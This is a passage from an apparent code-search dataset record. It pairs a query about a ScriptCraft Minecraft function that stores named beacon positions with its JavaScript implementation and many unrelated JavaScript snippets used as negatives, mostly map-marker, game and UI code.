entries with the same name, it will return the first it finds (a) position: currently, the position is the PLAYER'S position when player places the marker block, so use 'self.position' (b) name: enter a name in quotation marks, like \"beacon1\" or \"pool\""},"document":{"kind":"string","value":"function beacon(me, beaconName){\r\n\r\n //we place a marker at the position we want:\r\n\r\n box(blocks.beacon,1,2,1);\r\n\r\n //In the next lines, we build the beacon object:\t\r\n\r\n var loc = me.getLocation();\r\n\r\n //the next line appends the beacon's name to the array that contains only the tag key (the name the player gives to the beacon) \r\n beaconNameArray.push(beaconName);\r\n\r\n //the position is returned as an object which has coordinates as properties (keys). We are extracting the properties x, y and z\r\n //and puting them in an array whic we call locx. Since I want the numbers to be easy to read, and extreme precision is not \r\n //important for this plugin, I also round the numbers\t\r\n var locx = [Math.round(loc.getX()),Math.round(loc.getY()),Math.round(loc.getZ())];\r\n\r\n //The beacon object is then assembled and appended to the beaconArray array\r\n var beaconObj = {tag: beaconName, position: locx};\r\n beaconArray.push(beaconObj);\r\n\r\n //finally, we display the result to the player, showing the name of the beacon and its coordinates.\r\n //TO DO: TAB list of beacons' names\r\n echo('You are at ' + beaconName + ' at position ' + locx[0] + \", \" + locx[1] + \", \" + locx[2]);\r\n /*\t\r\n these were used to debug:\r\n echo(beaconObj.tag + beaconObj.position);\r\n echo(beaconArray.length);\r\n echo(beaconArray[0]);\r\n echo(beaconNameArray[0]);\r\n */\t\r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function getNewdidFromPos(position) {\n\t//flag ( \"getNewdidFromPos():: Started! Called for position: \" + position );\n\t//a=GM_getValue(myacc())\n\tvar allVillagePos = GM_getValue(myacc() + \"_allVillagePos2\").split(\",\");\n\t//flag ( \"getNewdidFromPos: allVillagePos=\"+allVillagePos+\";\");\n\tfor (var i = 0; i < allVillagePos.length; i++) {\n\t\tvar tt = allVillagePos[i].split(\":\");\n\t\tif ( tt[1] == position) {\n\t\t\treturn tt[0];\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn null;\n}","function findBeacons() {\n\tvar room = \"\";\n\t/*[] values;\n\tfor(var i=0;i>10;i++) {*/\n\t\tBeacon.rangeForBeacons(\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\")\n\t\t.then(function(beacons_found) {\n\t\t // $(\"#beacon-list\").empty();\n\t\t var maxRSSI = 100;\n\t\t for(beaconIndex in beacons_found) {\n\t\t var beacon = beacons_found[beaconIndex]; \n\t\t /* var beaconDiv = $(\"\").html(\"Major: \" + beacon.major + \n\t\t \"; Minor: \" + beacon.minor + \n\t\t \"; RSSI: \" + (beacon.rssi*-1));\n\t\t\n\t\t $(\"#beacon-list\").append(beaconDiv);*/\n\t\t if(beacon.rssi*-1 < maxRSSI) {\n\t\t \t room = getRoomName(beacon.minor);\n\t\t \t maxRSSI = beacon.rssi*-1;\n\t\t }\n\t\t }\n\t\t $(\"#myLocation\").text(/*\"Ole Johan Dahls Hus\" + */room);\n\t\t if(room == \"\") {\n\t\t\t setOffline();\n\t\t }\n\t\t newLocation(room);\n\t\t})\n\t\t.fail(function() {\n\t\t alert(\"failed serching for beacons!\");\n\t\t setOffline();\n\t\t});\n\t//}\n}","function searchObject(type){\n\tvar target;\n console.log(\"123\");\n\tif(type==\"beacon\"){\n\t\t target=beaconMap[document.getElementById('beaconSearch').value];\n\t}else{\n\t\t target=reporterMap[document.getElementById('reporterSearch').value];\n console.log(target);\n\t}\n\t toggleBounce(target.marker);\n map.panTo(target.getPosi(),3000);\n if(map.getZoom()<17){\n\t map.setZoom(17);\n\t}\n var date = new Date(target.time*1000);\n\t\n document.getElementById(\"beaconInfo\").innerHTML=\" {\n if(player_info != undefined && player_info.team != undefined && player_info.position != undefined)\n {\n const { player_id, fullname, image_path, position_id } = player_info;\n if(fullname.includes(player_name))\n {\n if( player_info.position.data.name == position_name)\n {\n const { name } = player_info.team.data;\n if(player_info.team.data.league != undefined)\n {\n const {id} = player_info.team.data.league.data;\n if(id == 271) \n {\n return {\n id: player_id,\n name: fullname,\n image: image_path,\n position: position_id,\n position_name: player_info.position.data.name,\n team_name: name, \n };\n }\n }\n }\n } \n }\n }); \n }","searchByName( nameToSearch ) {\n let itemId = this.ItemNotFound;\n let list = this.state[this.townName];\n let nameToSearchLowerCase = nameToSearch.toLocaleLowerCase();\n let nameToSearchSplit = nameToSearchLowerCase.split(' ');\n let name0ToSearch = nameToSearchSplit[0];\n let name1ToSearch = nameToSearchSplit[1];\n \n \n for( let indx=0; indx npc.id == name);\r\n\r\n\tif (npc.length > 0) {\r\n\t\treturn npc[0];\r\n\t}\r\n\r\n\treturn null;\r\n}","function searchByName(name) {\n var testName = name.toLowerCase();\n if (testName===\"bar\"||\"bars\"||\"restaurant\"||\"restaurants\"||\"food\"||\"beer\") {\n var request = {\n location: pos,\n radius: '500',\n type: ['bar', 'restaurant']\n };\n service = new google.maps.places.PlacesService(map);\n service.nearbySearch(request, callback);\n } else {\n var request = {\n query: name,\n fields: ['photos', 'formatted_address', 'name', 'rating', 'opening_hours', 'geometry'],\n locationBias: {radius: 50, center: pos}\n };\n service = new google.maps.places.PlacesService(map);\n service.findPlaceFromQuery(request, callback);\n };\n}","function get_npc(name) {\n var npc = parent.G.maps[character.map].npcs.filter(npc => npc.id == name);\n\n if (npc.length > 0) {\n return npc[0];\n }\n\n return null;\n}","function find_closest_asset_address(player_enter_x, player_enter_z) {\n var closest_distance = 9999999;\n\n var closet_coor = null;\n\n // for each coordinate our coordinate map\n for (var i = 0; i < coordinate_map.length; i++) {\n var coor = coordinate_map[i]\n\n // determine the distance from that coordinate to the player enter position\n var distance = find_distance(player_enter_x, player_enter_z, coor.x, coor.z)\n\n // if this coordinate is closer set it as our closest\n if (distance < closest_distance) {\n closest_distance = distance\n closet_coor = coor;\n }\n }\n\n // return the address of the closest coordinate\n if (closet_coor != null) {\n return closet_coor.address\n } else {\n return \"\";\n }\n}","function getBpFromName(name) {\n\tconsole.log(storyCardFaceUp);\n\tconsole.log(storyCardFaceUp.foe);\n\tconsole.log(name);\n\tfor (var i = 0; i < cardTypeList.length; i++) {\n\t\t// console.log(cardTypeList[i]);\n\t\t// console.log(name);\n\t\tif (cardTypeList[i].name === name)\n\t\t\tif (cardTypeList[i].hasOwnProperty('bp')) {\n\t\t\t if(storyCardFaceUp.foe === name) return cardTypeList[i].bonusbp;\n\t\t\t return cardTypeList[i].bp;\n\t\t\t}\n\t}\n\treturn \"card not found\";\n}","function rangingCallback(beaconRegion, beacons) {\n kony.print(\"Beacons found for BeaconRegion: \", kony.type(beaconRegion), \" \", beaconRegion, \" Beacons: \", beacons);\n var beaconLabel = \"No beacons\";\n var proximityLabel = \"...\";\n if (beacons.length > 0) {\n beacon = beacons[0];\n proximityUUIDString = beacon.getProximityUUIDString();\n major = beacon.getMajor();\n minor = beacon.getMinor();\n beaconLabel = beacon.getProximityUUIDString() + \" \" + beacon.getMajor() + \" \" + beacon.getMinor();\n proximityLabel = beacon.getProximity();\n }\n if ((prevProximityUUIDString != proximityUUIDString) && (ksid != null)) {\n beaconUpdate();\n }\n}","function getPlayerData(list, playerName) {\n for (let p = 0; p < list.length; p++) {\n const player = list[p];\n if (player.name === playerName) {\n return player;\n }\n }\n // console.log(\"Unable to find player \", playerName, \"in list:\\n\", list);\n}","function getPlayerData(list, playerName) {\n for (let p = 0; p < list.length; p++) {\n const player = list[p];\n if (player.name === playerName) {\n return player;\n }\n }\n console.log(\"Unable to find player \", playerName, \"in list:\\n\", list);\n}","addMarker(level, openings, itemObj, startPosX = -1, startPosY = -1) {\n let startPos = startPosX + startPosY;\n if (startPos >= 0 && openings.indexOf(startPos) === -1 && startPos < this.maze.length) {\n level[startPos] = itemObj;\n }\n else {\n let randomCell = Math.floor(Math.random() * openings.length);\n let addMarkerPosn = openings.splice(randomCell, 1)[0];\n level[addMarkerPosn] = itemObj;\n }\n }","function updateMap(time){\n // console.log(\"----------------------------\");\n if(showBeacon){\n var position1 = JSON.parse(httpGet(beaconPosiSource)); //two dimensional JSON array\n // console.log(\"----------------------------\");\n var position = new ibeaconBeanGroup(position1).getAllBestLocations();\n\n // console.log(position1);\n \n // console.log(position);\n\n\t\tfor(var i=0;i {console.error(err);})\n }else{\n let position = this.maps[currentPlayer.position]\n if(position){\n let availableInteractions =''\n if(position.interactions){\n availableInteractions = this.utils.generateInteractionsListString(position.interactions.filter(interaction => {\n return !currentPlayer.interactionsDone.includes(interaction.name.name)\n }))\n }\n let itemList =''\n if(this.maps[currentPlayer.position].userItems.length > 0){\n itemList = 'Other items on the ground:\\n'\n this.maps[currentPlayer.position].userItems.forEach(currentItem => {\n itemList+=`${currentItem.name.name}\\n`\n })\n }\n let nearbyPlayers = this.utils.generateWhoString(this.who(currentPlayer, channel))\n channel.send(position.description+'\\n'+availableInteractions+'\\n'+nearbyPlayers+'\\n'+itemList).catch(err => {console.error(err);})\n }else{\n console.error('Current position '+currentPlayer.position);\n console.error(this.maps);\n }\n\n }\n //TODO: Add descriptions for the things that need a pass and the pass is owned by the player\n }","map_attribute_name_to_buffer_name( name ) \n { \n return { object_space_pos: \"positions\" }[ name ]; // Use a simple lookup table.\n }","function addSingleMaker(){\n\tmarker = new google.maps.Marker({\n\t\tposition:{\n\t\t\tlat: -41.295005,\n\t\t\tlng: 174.78362\n\t\t},\n\t\tmap: map,\n\t\tanimation: google.maps.Animation.DROP,\n\t\ticon: \"img/person.png\",\n\t\ttitle : \"Yoobee School of Design\",\n\t\tdescription: \"Description for Yoobee School of Design\"\n\t})\n}","getPlayerByName(playerName) {\n return this.players.find((value) => {\n return (value._player.name === playerName);\n });\n }","function getloc()\n{\n\n\tvar latlng = new google.maps.LatLng(shuttle.position.latitude, shuttle.position.longitude);\n geocoder.geocode({ latLng: latlng }, function(results, status){\n\t\tfor(ac in results[0].address_components)\n\t\t{\n\t\t\t//console.log(results[0].address_components[ac].types);\n\t\t\tif(results[0].address_components[ac].types == \"route\")\n\t\t\t{\n\t\t\t\t$(\"#currentstreet\").html(\"Street name: \" + results[0].address_components[ac].long_name);\n\t\t\t}\n\t\t}\n });\n\n\n}","get(name){\n let gameId = this.list.findIndex(i => i.getName() === name.toLowerCase());\n return this.list[gameId];\n }","function addMarker(map,info_friend,info_bulle){\n var marker = new google.maps.Marker({\n position: new google.maps.LatLng(info_friend.lat, info_friend.lng),\n label: \"\" + info_friend.name,\n map: map,\n title : \"Location of \" + info_friend.name\n });\n\n marker.addListener('click', function() {\n info_bulle.open(map, marker);\n });\n return marker;\n}","function getInfo (name) {\n\tconsole.log(name);\n\tconst playerId = name.accountId;\n\tconsole.log(`Account ID: ${playerId}`);\n\tconst playerName = name.name;\n\tconsole.log(`Player name: ${playerName}`);\n\tconst summonerLevel = name.summonerLevel;\n\tconsole.log(`Player Level: ${summonerLevel}`);\n\tconst profileIcon = name.profileIconId;\n\tconsole.log(`Icon number: ${profileIcon}`);\n\trenderName(playerName, summonerLevel, profileIcon);\n\t$('.matches').html(`${playerName}'s last 3 matches`);\n\tgetRecentMatches(playerId, getMatchList);\n}","function positionOf(symb, someBoard, player) {\n\n\t//print_board(someBoard);\n\n\tvar tempSq = {};\n\n\tfor ( var a = 0; a <= 11; a++) {\n\t\tfor (var b = 0; b <= 11; b++) {\n\n\t\t\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\n\n\t\t\t\ttempSq.row = a;\n\t\t\t\ttempSq.col = b;\n\t\t\t\treturn tempSq;\n\t\t\t}\n\t\t}\n\t}\n\n}","function findMarkerIndex(name) {\n //name 'SFO - San Fr...'\n return markers.findIndex(function (m) {\n return m.title === name;\n });\n}","createPlayer() {\n let startWithBob = true;\n this.map.findObject('Player', (obj) => {\n if (obj.type === 'StartPosition') {\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\n if (obj.name === 'Bob') {\n this.bob = new Bob(this, obj.x, obj.y);\n this.bob.depth = 100;\n this.game.Bob = this.bob;\n }\n if (obj.name === 'Flit') {\n this.flit = new Flit(this, obj.x, obj.y);\n this.flit.depth = 100;\n this.game.Flit = this.flit;\n }\n }\n });\n\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\n this.cameras.main.startFollow(this.ActivePlayer);\n }","getNewPosition() {\r\n this.newPosition = this.positionRandom();\r\n // Cree une fonction qui test avec marge les nouvelle position des bombs\r\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \r\n return this.newPosition;\r\n }","function prepEventMarker(){\n\tvar eventDetails = getEventData();\n\tvar location = eventDetails[0];\n\tvar title = eventDetails[1];\n\n\t//We need to be careful with the location. When we store it, the location name usually comes before the address\n\t//ie Vancouver Pizza: 225 Main St.\n\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\n\tif(locationSplit.length>1){ //The name was in there\n\t\tlocation = locationSplit[1]; //Set the location to just the address\n\t}\n\n\tconsole.log('Initing with: Title: ' + title + \" Loc: \" + location);\n\tinitEventData(title, location);\n}","function winnerName() {\n if(winnerAddress === myAddress) {\n return \"Me\";\n }\n if(winnerAddress === oppAddress) {\n return \"Opponent\";\n }\n }","function place(name, address, road){\n this.name = name;\n this.address = address;\n this.road = road;\n console.log(`${this.name} ${this.address} ${this.road}`);\n if (this.name == 'ctg'){\n this.name = 'Chittagong';\n }\n console.log(`${this.name} ${this.address} ${this.road}`);\n}","function reportPosition() {\n var p = distanceWidget.get('position'),\n d = distanceWidget.get('distance'),\n name = $('input[name=name]');\n \n socket.send(JSON.stringify({\n 'action': 'update position',\n 'lat': p.lat(), \n 'lng': p.lng(), \n 'distance': d, \n 'name': name.val() \n }));\n}","function mainMarker(x,y,name,i) {\n \n \n var marker = new google.maps.Marker({\n position: {lat: x, lng: y},\n map: map,\n label:(++i).toString(), \n \n title: name\n });\n markerArray.push(marker);\n }","function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\n{\n if (playerId == -1)\n return true;\n\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\n return true;\n else\n return false;\n}","function emitBeaconUpdate(id) {\n var ship = ships.shipGet(id)\n var out = {};\n\n out[id] = ship.spawnPoint;\n\n io.sockets.emit('shipbeaconstat', out);\n}","function addSugar(name, x, y) {\n\tlocs.push([x, y]);\n\tnames.push(name);\n}","function getSpawnPosition(source) {\n var positions = getSamplePositions(source.room, source.pos, 5),\n closest;\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\n closest = source.pos.findClosestByPath(positions);\n return closest;\n}","function createBeacon() {\n\n // throws an error if the parameters are not valid\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\n\n return beaconRegion; \n}","function searchGameRoom(gamerooms,name){\n\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\n\t\tif(gamerooms[i].name === name){\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}","function findPlate(plate_name) {\n for(i = 0; i < ordered_plates.length; i++) {\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\n return ordered_plates[i];\n }\n }\n }","@wire(getRecord, { recordId: '$recordId', fields })\n loadBear({ error, data}){\n if(error){\n //Handle error\n } else if (data){\n //Get bear Data\n this.name = data.fields.Name.value;\n const Latitude = data.fields.Location__Latitude__s.value;\n const Longitude = data.fields.Location__Longitude__s.value;\n //Transformar bear data en map markers\n this.mapMarkers = [{\n location: {Latitude, Longitude},\n title: this.name,\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\n }];\n }\n }","function getSummonerName(){\n\n}","findClosest(mapItem) {\n let closestNames = [];\n\n this.state.mapTextItems.forEach(mapTextItem => {\n if (mapItem.regionId === mapTextItem.regionId) {\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\n closestNames.push({ text: mapTextItem.text, distance: distance });\n }\n });\n\n closestNames.sort(this.compare);\n return closestNames[0].text;\n }","if(snakes[1].loc.dist(food.loc) === 0){\n food.pickLoc();\n snakes[1].addSegment();\n\n}","function findVertex(name) {\n\t\tvar objects = alasql.databases[alasql.useid].objects;\n\t\tfor(var k in objects) {\n\t\t\tif(objects[k].name === name) {\n\t\t\t\treturn objects[k];\n\t\t\t}\n\t\t}\n\t\treturn undefined;\n\t}","map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\n { \n return { object_space_pos: \"positions\" }[ name ]; // Use a simple lookup table.\n }","function animatePoint(name) {\n for (let item in points){\n if (points[item].title == name) {\n points[item].setAnimation(google.maps.Animation.BOUNCE);\n showForsquareInfo(\n points[item].getPosition().lat(),\n points[item].getPosition().lng(),\n points[item].getTitle()\n );\n //Makes the marker bounce only once\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\n }\n }\n}","function place_player()\n{\n\tvar col;\n\tvar row;\n\t\n\tswitch(player_number)\n\t{\n\t\tcase 0:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 19;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 21;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tcol = 29;\n\t\t\trow = 19;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tcol = 27;\n\t\t\trow = 21;\n\t\t\tbreak;\n\t}\n\t\n\tvar player_text = Crafty.e(\"2D, DOM, Text\")\n\t\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\n\t\t.textColor('#FFFFFF')\n\t\t.text(list_of_users[player_number]);\n\t\t\n\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\n}","function itemByName (name) {\n return bot.inventory.items().filter(item => item.name === name)[0]\n}","function findMarker(buffer, position) {\n var index;\n for (index = position; index < buffer.length; index++) {\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\n return index;\n }\n return -1;\n}","who(currentPlayer, channel){\n let map = this.maps[currentPlayer.position]\n let nearbyPlayers = new Array()\n this.players.forEach(player => {\n if(player !== currentPlayer && player.position === currentPlayer.position){\n nearbyPlayers.push(player)\n }\n })\n return nearbyPlayers\n }","function addmarkerforpeaks() {\n for (var i = 0; i < snowCaps.peaks.length; i++) {\n // Get the position from the location array.\n var position = snowCaps.peaks[i].position;\n var title = snowCaps.peaks[i].name;\n //console.log(title,position);\n // Create a marker per location, and put into markers array.\n var marker = new google.maps.Marker({\n position: position,\n title: title,\n map: map,\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\n animation: google.maps.Animation.DROP,\n });\n // Push the marker to our array of markers.\n markers.push(marker);\n }\n}","function getPosFinder(pos){\n var posFinder = balloonpositionsarray[0].find(function(element) {\n return element == pos;\n });\n\n return posFinder;\n }","function locationName () {\n place.className = 'current-location';\n document.getElementsByTagName('body')[0].appendChild(place);\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\n // check for errors and using previous manual location\n if (usingPrevious) {\n changeLink.innerText = 'change';\n changeLink.href = '#';\n changeLink.className = 'last-known';\n changeLink.addEventListener('click', function (e) {\n e.preventDefault();\n Tab.changeLocation();\n });\n place.innerHTML = loc.formatted_address +\n 'Using last known location ';\n place.appendChild(changeLink);\n // console.log(changeLink)\n // TODO: add change location here\n } else {\n place.innerHTML = loc.formatted_address;\n }\n }","function collectPlayer(name) {\n if (name === game.players[game.turn].name) {\n setDrawer(game);\n } \n else {\n setGuesser(name);\n }\n \n }","born(x, y) {\n let l = createVector(x, y);\n let dna = new DNA();\n let name = this.makeid(8);\n console.log(name);\n this.creatures.push(new Creature(l, dna, name));\n }","try_to_match_local(data_received){\n\t\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\n\t\tsend_msg(data)\n\t}","function CurrentLocation() {\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \"Current Location\");\n }","function getKey_(position) \n{\n return \"key-\"+ OsmMaps.position.coords.latitude.toFixed(4) + \"-\" + OsmMaps.position.coords.longitude.toFixed(4);\n}","function markerPosition(position)\n{\n\tvar id = $('#'+position);\n\tif(turno)\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoA;\n\t\t\tnumJugadas1++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov1').text(numJugadas1);\n\t\t\tturno=false;\n\t\t\tif(isChampion(llenoA))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador1\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('numJugadas', numJugadas1);\n\n\t \t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador1\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoB;\n\t\t\tnumJugadas2++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov2').text(numJugadas2);\n\t\t\tturno=true;\n\t\t\tif(isChampion(llenoB))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador1\").val());\n\n\t\t\t\tlocalStorage.setItem('numJugadas',numJugadas2);\n\t\t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador2\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\n\t}\n}","function insertName1(){\n let playerSpan1 = $(`.Player1`)\n let playerInput1 = $(`input.button1`)\n \n playerInput1.on(`input`,function(){\n gameState.playerNames[0] = ($(this).val())\n playerSpan1.text(gameState.playerNames[0])\n return playerSpan1\n })\n}","function Start () {\n\tUpperLaser = GameObject.Find(\"MapScript\");\n\t//LowerLaser = GameObject.Find(\"MapScript02\");\n\tFlameThrower = GameObject.Find(\"FlameThrower\");\n\tBeam = GameObject.Find(\"MapScriptB\");\n\tTrapSpawn = GameObject.Find(\"TrapSpawn\");\n\t//Saw = GameObject.Find(\"ChainSaw\");\n}","openInfoWindow(marker, longName) {\n this.closeInfoWindow();\n this.state.infowindow.open(this.state.map, marker);\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\n this.setState({\n 'prevmarker': marker\n });\n this.state.infowindow.setContent('Loading Data...');\n this.state.map.setCenter(marker.getPosition());\n this.state.map.panBy(0, -150);\n if(longName.includes(\"Eric\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\n }\n if (longName.includes(\"Violet\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\n }\n else{\n this.getMarkerInfo(marker, longName);\n }\n }","function dropMarker(a, b, courtname){\n\tvar lat = a;\n\tvar lon = b;\n\tmyLatlng = new google.maps.LatLng(lat, lon);\n\tvar marker = new google.maps.Marker({\n\t\tposition: myLatlng,\n\t\tmap: map,\n\t\ttitle: courtname\n\t});\n\tmarker.setMap(map);\n}","function geocodeCords(positionObject) {\n var geocoder = new google.maps.Geocoder;\n posLat = positionObject.lat;\n posLng = positionObject.lng;\n cordsPos = posLat + \", \" + posLng;\n // cordsPos = positionObject;\n geocoder.geocode({'location': positionObject}, function (results, status) {\n if (status === 'OK') {\n if (results[1]) {\n namePos = (results[1].formatted_address);\n locationInput.value = namePos;\n addMarker(positionObject);\n } else {\n window.alert('No results found');\n }\n } else {\n window.alert('Geocoder failed due to: ' + status);\n }\n });\n }","function zControlBattleMapFollowGamer(position)\n{\n zObjectBattleMapLatLng[\"gamrLat\"] = position.coords.latitude;\n zObjectBattleMapLatLng[\"gamrLng\"] = position.coords.longitude;\n \n document.getElementById(\"map-info-crnt\").innerHTML = \"CRNT_LAT :{\" + zObjectBattleMapLatLng[\"crntLat\"] + \"}:CRNT_LNG :{\" + zObjectBattleMapLatLng[\"crntLng\"] + \"}:\";\n document.getElementById(\"map-info-gamr\").innerHTML = \"GAMR_LAT:{\" + zObjectBattleMapLatLng[\"gamrLat\"] + \"}:GAMR_LNG:{\" + zObjectBattleMapLatLng[\"gamrLng\"] + \"}:\";\n var date = new Date();\n document.getElementById(\"map-info-date\").innerHTML = \"DATE_TIME:{\" + date.getTime() + \"}:\";\n \n if(zObjectBattleMapLatLng[\"crntLat\"] != zObjectBattleMapLatLng[\"gamrLat\"]\n || zObjectBattleMapLatLng[\"crntLng\"] != zObjectBattleMapLatLng[\"gamrLng\"])\n {\n zObjectBattleMapGamer.setMap(null);\n \n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\"gamrLat\"], zObjectBattleMapLatLng[\"gamrLng\"]);\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\n \n zObjectBattleMapGamer = new google.maps.Marker(\n {\n position: zObjectBattleMapCenterLatLng,\n map: zObjectBattleMap,\n title: 'Hello World!'\n });\n \n zObjectBattleMapLatLng[\"crntLat\"] = zObjectBattleMapLatLng[\"gamrLat\"];\n zObjectBattleMapLatLng[\"crntLng\"] = zObjectBattleMapLatLng[\"gamrLng\"];\n }\n \n zControlHazardDistancetoGamer();\n \n zControlGamerMapStatus({\n\t code: 0, \n\t message: \"Good Map Status\",\n \ttimeofcoords: position.timestamp,\n \tmethod: \"zControlBattleMapFollowGamer\"\n\t});\n}","function updateName1OnDOM() {\n db.ref('Names/player1').once('value', function (snapshot) {\n name = snapshot.val();\n if (name !== null) {\n var a = $('
Please click Ok to go to see the complete list (All).',\n title: 'Alert',\n callback: function () {\n var AllEle = $(\"#menu_wraper\").find('.item-list-detail:contains(\"All\"):first');\n AllEle.trigger('click');\n }\n });\n }","function showStatus() {\n\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\n\n if (banderas.banderaTodoSeleccionado == 0) {\n if (Calles.length == 0) {\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\n }\n else {\n modalStatus();\n }\n }\n else if (banderas.banderaTodoSeleccionado == 1) {\n modalStatus();\n }\n }\n }","function filterResult() {\n\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\n\t$('.btn-group').on('click', \t\t\t\t\t\t\n\tfunction(event){\n\t\tif (event.target.id === \"all\") {\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t\t$(\".not-exist\").show(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse if (event.target.id === \"online\") {\n\t\t\t$(\".offline\").hide(\"slow\");\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse {\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").hide(\"slow\");\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t}\n\t});\t\n}","function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\n $nyplAlerts.getGlobalAlerts().then(function (data) {\n var alerts = $rootScope.alerts || data;\n $rootScope.alerts =\n nyplAlertsService.filterAlerts(alerts, {current: true});\n $nyplAlerts.alerts = $rootScope.alerts || data;\n }).catch(function (error) {\n throw error;\n });\n }","function viewFilters() {\n let text = '';\n filterArray.forEach(item => (text = text + '\\n\\t' + item));\n let statusText = disabled ? 'disabled' : 'enabled';\n alert('Installed Filters (currently' + statusText + '):' + text);\n}","function initFirstFilter(){\n var firstFilterWrap = getComponent('first-filter');\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\n\n [].forEach.call(filterArrays,function (item) {\n item.addEventListener('click',selected)\n })\n\n function selected(e){\n if(this.firstElementChild.classList.contains('selected')){\n return;\n }\n removeSelected();\n console.log(e);\n this.firstElementChild.classList.add('selected');\n if(this.innerText === 'All'){\n window.firstFilterStatus = 0;\n }else if(this.innerText === 'Active'){\n window.firstFilterStatus = 1;\n }else{\n window.firstFilterStatus = 2;\n }\n update();\n }\n\n function removeSelected(){\n [].forEach.call(filterArrays,function (item) {\n if(item.firstElementChild.classList.contains('selected')){\n item.firstElementChild.classList.remove('selected');\n }\n })\n }\n}","function bindSelect() {\n initializeTimeFunction();\n extent = brush.extent(); //data of selection\n userTimeData = [];\n\n extent.forEach(function (element) {\n var t = String(element.getTime() / 1000 * 1000);\n userTimeData.push(t);\n });\n\n if ($scope.fingerPrintsMode) {\n clearFingerprintHeatmap();\n $scope.showFingerprintHeatmap();\n document.getElementById(\"fingerPrints-mode\").classList.add('quickaction-selected');\n }\n\n if ($scope.radioHeatmapRSSMode) {\n clearFingerprintCoverage();\n $scope.showFingerprintCoverage();\n $scope.radioHeatmapRSSMode = true;\n if (typeof (Storage) !== \"undefined\" && localStorage) {\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\n }\n $scope.anyService.radioHeatmapRSSMode = true;\n 